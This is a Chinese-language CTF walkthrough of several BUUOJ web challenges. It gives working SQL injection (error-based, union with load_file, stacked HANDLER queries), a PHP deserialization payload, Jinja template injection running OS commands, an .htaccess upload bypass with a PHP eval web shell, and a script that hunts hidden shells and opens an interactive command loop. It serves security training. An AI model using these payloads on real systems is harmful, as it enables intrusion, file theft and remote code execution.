但是不够长，所以没法把flag全部打印出来

试试看用substr把后面的给打印出来

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?username=admin&password=1'or(updatexml(1,concat(0x7e,(substr(SELECT(group_concat(password))FROM(H4rDsq1))),0x7e))from(30)for(20))%23

但是substr被拦截

尝试了一下，发现mid也被拦截了，但是right能用

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?username=admin&password=1'or(updatexml(1,concat(0x7e,(right((SELECT(group_concat(password))FROM(H4rDsq1)),20)),0x7e),1))%23

image-20210203234124385

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6-9030-370888952288}

所以flag连起来

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flag{8d4b1187-b167-49c6-9030-370888952288}

0x22 [网鼎杯 2018]Fakebook

随便join一个

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admin
admin
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www.baidu.com

image-20210203235105109

看到用iframe把百度网页爬下来了

用到了view.php，不用?no直接访问，得到报错

image-20210204000016481

no是一个注入点

闭合

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?no=1%23

而且还可以报错syntax error

成功注入

image-20210204000640336

可以看到，用到了unserialize，目录是 /var/www/html/view.php

而且下面的blog content是调用了一个类的函数 getBlogContents()

不能写文件

image-20210204001305956

用load_file来读文件

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?no=0 union/**/select 1,load_file("/var/www/html/index.php"),3,4%23
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<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php

$flag = "FLAG{flag is in your mind}";

$db = new DB();
$user = new UserInfo();

?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Fakebook</title>

    <?php include 'bootstrap.php'; ?>

</head>
<body>
<div class="container">
    <h1>the Fakebook</h1>
    <?php

    if (!isset($_SESSION['username'])) {
        $message = "<div class='row'>";
        $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";
        $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";
        $message .= "</div>";

        echo $message;
    }


    ?>
    <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p>

    <table class="table">
        <tr>
            <th>#</th>
            <th>username</th>
            <th>age</th>
            <th>blog</th>
        </tr>
        <?php

        foreach ($db->getAllUsers() as $user)
        {
            $data = unserialize($user['data']);

            echo "<tr>";
            echo "<td>{$user['no']}</td>";
            echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";
            echo "<td>{$data->age}</td>";
            echo "<td>{$data->blog}</td>";
            echo "</tr>\n";
        }

        ?>
    </table>
</div>
</body>
</html>
            </td>
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?no=0 union/**/select 1,load_file("/var/www/html/view.php"),3,4%23
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<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php

$db = new DB();

?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>User</title>

    <?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php

$no = $_GET['no'];
if ($db->anti_sqli($no))
{
    die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);

?>
<div class="container">
    <table class="table">
        <tr>
            <th>
                username
            </th>
            <th>
                age
            </th>
            <th>
                blog
            </th>
        </tr>
        <tr>
            <td>
                <?php echo $res['username']; ?>
            </td>
            <td>
                <?php echo $user->age; ?>
            </td>
            <td>
                <?php echo xss($user->blog); ?>
            </td>
        </tr>
    </table>

    <hr>
    <br><br><br><br><br>
    <p>the contents of his/her blog</p>
    <hr>
    <?php

    $response = $user->getBlogContents();
    if ($response === 404)
    {
        echo "404 Not found";
    }

    else
    {
        $base64 = base64_encode($response);
        echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
        // echo $response;
    }

    // var_dump($user->getBlogContents());
    ?>

</div>
</body>
</html>
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?no=0 union/**/select 1,load_file("/var/www/html/user.php"),3,4%23
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<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
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?no=0 union/**/select 1,load_file("/var/www/html/db.php"),3,4%23
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<?php

require_once 'lib.php';
$mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook');

class DB {

	function __construct() {
		// $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');
	}

	public function isValidUsername($username) {
		global $mysqli;
		$query = "select * from users where username = '{$username}'";
		$res = $mysqli->query($query);
		if (!$res->fetch_array()) {
			return 1;
		} else {
			return 0;
		}

	}

	function login($username, $passwd) {
		global $mysqli;

		$username = addslashes($username);
		$passwd = sha512($passwd);
		$query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";
		$res = $mysqli->query($query);

		return $res->fetch_array();
	}

	function insertUser($username, $passwd, $data) {
		global $mysqli;

		$username = substr($username, 0, 100);
		$username = addslashes($username);
		$passwd = sha512($passwd);
		$data = serialize($data);
		$data = addslashes($data);

		$query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
		return $mysqli->real_query($query);
	}

	public function getAllUsers() {
		global $mysqli;

		$query = "select * from users";
		$res = $mysqli->query($query);
		return $res->fetch_all(MYSQLI_ASSOC);
	}

	public function getUserByNo($no) {
		global $mysqli;

		// $no = addslashes($no);
		$query = "select * from users where no = {$no}";
		$res = $mysqli->query($query);
		if (!$res) {
			echo "<p>[*] query error! ({$mysqli->error})</p>";
		}

		return $res->fetch_assoc();
	}

	public function anti_sqli($no) {
		$patterns = "/union\Wselect|0x|hex/i";

		return preg_match($patterns, $no);
	}

}

/*
CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM;

 */

好像都没什么用，猜测一下可能有flag.php吧

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?no=0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4%23

image-20210204003143764

没想到真的有

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flag{78c351cc-c597-46c8-abbb-67df2a9ac714}

0x23 [GXYCTF2019]BabySQli

有一段base32

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<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

解码后是个base64编码

再解码，最后得到

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select * from user where username = '$name'

猜测一下后端代码

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$name = $_POST["name"];
$sql = "select * from user where username = '$name'";
$result = mysql_query($sql);
$pw = $_POST["pw"];
$row = mysql_fetch_array($result);
if($pw == $row["password"]){//可能是 $row[0]、$row[1]、$row[2]
    loginsuccess();
}
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name='union select 1,'admin',3%23&pw=1

image-20210204092345673

可能1或3的位置是password

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name='union select 1,'admin',1%23&pw=1

但是这样并不生效，还是wrong pass

image-20210204092420021

猜测可能是先对 $pw 进行了加密运算，然后其结果和 $result["password"] 进行比较

常见的是md5加密，试试看

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name='union select 'c4ca4238a0b923820dcc509a6f75849b','admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1

image-20210204092710639

得到flag

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flag{d227c1da-2a41-4186-adf3-86fcec68ffd8}

0x24 [网鼎杯 2020 青龙组]AreUSerialz

直接给了源码

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function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}


if(isset($_GET['str'])) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

传入str，str要满足每个字符都在 chr(32)到chr(125)之间

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class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

虽然是protected，但是不用管，直接写个public属性的，到时候如果访问相同名字的属性会优先访问public的

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?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";i:0;}

image-20210204095637181

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flag='flag{a83f55a7-3cc9-4419-847e-543f729e7d4b}

0x25 [BJDCTF 2nd]fake google

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http://72ed6887-d4ef-42da-9c45-4f5bf3b0c751.node3.buuoj.cn/qaq?name={{3-1}}

image-20210204100805656

有模板注入，而且是python的

先看看所有类

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{{().__class__.__mro__[1].__subclasses__() }}

image-20210204104546442

写个脚本看看哪个类有os或file或__builtin__

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import requests
from time import sleep
session = requests.session()
url = "http://72ed6887-d4ef-42da-9c45-4f5bf3b0c751.node3.buuoj.cn/qaq"

module_os = "<module 'os'"
module_file = "<module 'file'"
module_builtin = "__builtins__"
modules = [module_os,module_file,module_builtin]
stop = False
for i in range(100):
    if stop:
        break
    payload = "{"+"{().__class__.__mro__[1].__subclasses__()["+str(i)+"].__init__.__globals__}"+"}"
    print("processing the {}th subclass ".format(i),"--"*70)
    params = {"name":payload}
    resp = session.get(url=url,params=params)
    print(resp.status_code)
    while resp.status_code==429:
        print("429 !!! sleep(3)")
        sleep(3)
        resp = session.get(url=url,params=params)
        print(resp.status_code)
    if resp.status_code==200:
        print(resp.text)
        for m in modules:
            if m in resp.text:
                print(payload,"**"*70)
                print("I found",m,"!!!")
                stop = True
                break
    else:
        print("something goes wrong")
if not stop:
    print("nothing found","~~"*70)

image-20210204114237858

找到了__builtins__，调用os模块

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{{().__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

image-20210204114357385

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{{().__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

image-20210204114436391

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flag{2ac5e2e3-a916-42c4-aeb5-2d3f4a484436}

或者用for和if语句

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{% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}<hr>{% endif %}{% endfor %}

image-20210204115639431

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{% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}<hr>{% endif %}{% endfor %}

image-20210204115718437

0x26 [MRCTF2020]你传你🐎呢

image-20210204120637110

把content-type改了

看来对后缀有过滤，出现ph就被拦截

image-20210204121400208

用到了move_uploaded_file

从/tmp/php1BQdTg转移

image-20210204121621097

发现报错

image-20210204123728821

用的是apache，试试看写.htaccess文件

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filename=".htaccess"
Content-Type: image/jpeg

AddType   application/x-httpd-php     .jpg

image-20210204123918415

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filename="geach.jpg"
Content-Type: image/jpeg

<?php
    eval($_GET['kkk']);
?>

image-20210204124034424

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geach.jpg?kkk=var_dump(scandir("/"));

image-20210204124200696

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geach.jpg?kkk=var_dump(file_get_contents("/flag"));

image-20210204124251830

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flag{782cce2b-fb73-4cdf-ad11-6ddbc902226b}

0x27 [GYCTF2020]Blacklist

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return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

image-20210204163103955

发现要绕过这些东西

报错注入

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?inject=1'AND+extractvalue(1,concat(0x7e,user(),0x7e))%23

image-20210204163334636

user

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root@localhost

database

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supersqli

可以堆叠注入

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?inject=3';show+databases;%23

image-20210204163747452

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<hr>array(1) {
  [0]=>
  string(11) "ctftraining"
}
<br>array(1) {
  [0]=>
  string(18) "information_schema"
}
<br>array(1) {
  [0]=>
  string(5) "mysql"
}
<br>array(1) {
  [0]=>
  string(18) "performance_schema"
}
<br>array(1) {
  [0]=>
  string(9) "supersqli"
}
<br>array(1) {
  [0]=>
  string(4) "test"
}

看看supersqli这个库的表

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?inject=3';show+tables+from+supersqli;%23
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<hr>array(1) {
  [0]=>
  string(8) "FlagHere"
}
<br>array(1) {
  [0]=>
  string(5) "words"
}

直接用handle来读表

image-20210204163941170

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?inject=3';handler+FlagHere+open+as+A;handler+A+read+first;%23

image-20210204164342057

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flag{2d9a4e41-62ab-4a8d-a2ce-171b17b388bf}

0x28 [强网杯 2019]高明的黑客

下载网站源码

看了一下，人都傻了

image-20210204171428311

但是里面有很多的system、eval这样的函数

所以写个脚本试试看哪一个才是真正的shell

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import requests
import os
import re
from time import sleep
url = "http://593bc93c-a8cb-4b4d-9100-296755309720.node3.buuoj.cn/"
session = requests.session()
files = os.listdir(path="./src")
files.reverse()
stop = False
i = 0
get_pattern = re.compile("\$_GET\['.*'\]")
post_pattern = re.compile("\$_POST\['.*'\]")

def interactive(url,method,keys):
    while True:
        if method == "get":
            payload = input()
            params = {key:payload for key in  keys}
            resp = session.get(url=url,params=params)
            print("**"*70)
            print(resp.status_code)
            print("**"*70)
            print(resp.text)
            print("**"*70)
        elif method == "post":
            payload = input()
            data = {key:payload for key in keys}
            resp = session.post(url=url,data=data)
            print("**"*70)
            print(resp.status_code)
            print("**"*70)
            print(resp.text)
            print("**"*70)

            
for fi in files:
    if stop:
        break
    print("--"*70)
    print("processing the {}th file".format(i))
    print(fi)
    i = i + 1
    with open("./src/"+fi,encoding="utf-8") as f:
        content = f.readlines()        
        get_param_names = []
        post_data_names = []
        for cmd in content:
            if re.search(get_pattern,cmd):
                get_param_name = re.findall(get_pattern,cmd)[0]
                get_param_name = get_param_name[7:-2]
                get_param_names.append(get_param_name)
            elif re.search(post_pattern,cmd):
                post_data_name = re.findall(post_pattern,cmd)[0]
                post_data_name = post_data_name[8:-2]
                post_data_names.append(post_data_name)
        #get
        params = {p:"echo 'hello';" for p in get_param_names}
        resp = session.get(url=url+fi,params=params)
        print(resp.status_code)
        # print(resp.text)
        while resp.status_code==429:
            print("429 !!! sleep(3)")
            sleep(3)
            resp = session.get(url=url+fi,params=params)
            print(resp.status_code)
        if "hello" in resp.text:
            print("I found it !!!!!!")
            print("**"*70)
            print(url+fi+" is your loved one!!!")
            interactive(url=url+fi,method="get",keys=get_param_names)

        #post
        data = {d:"echo 'hello';" for d in post_data_names}
        resp = session.post(url=url+fi,data=data)
        print(resp.status_code)
        while resp.status_code==429:
            print("429 !!! sleep(3)")
            sleep(3)
            resp = session.post(url=url+fi,data=data)
            print(resp.status_code)
        if "hello" in resp.text:
            print("I found it !!!!!!")
            print("**"*70)
            print(url+fi+" is your loved one!!!")
            interactive(url=url+fi,method="post",keys=post_data_names)
            # stop = True

image-20210204213131567

简单说一下我写的这个脚本

从每个php文件中找到所有$_GET和 $_POST，然后进行两次请求，一次是get，并把所有get参数都设为 echo 'hello';第二次是post也是把所有 post 参数都设为 echo 'hello'，然后如果在resp.text中发现hello，就开始进行交互

image-20210204213242911

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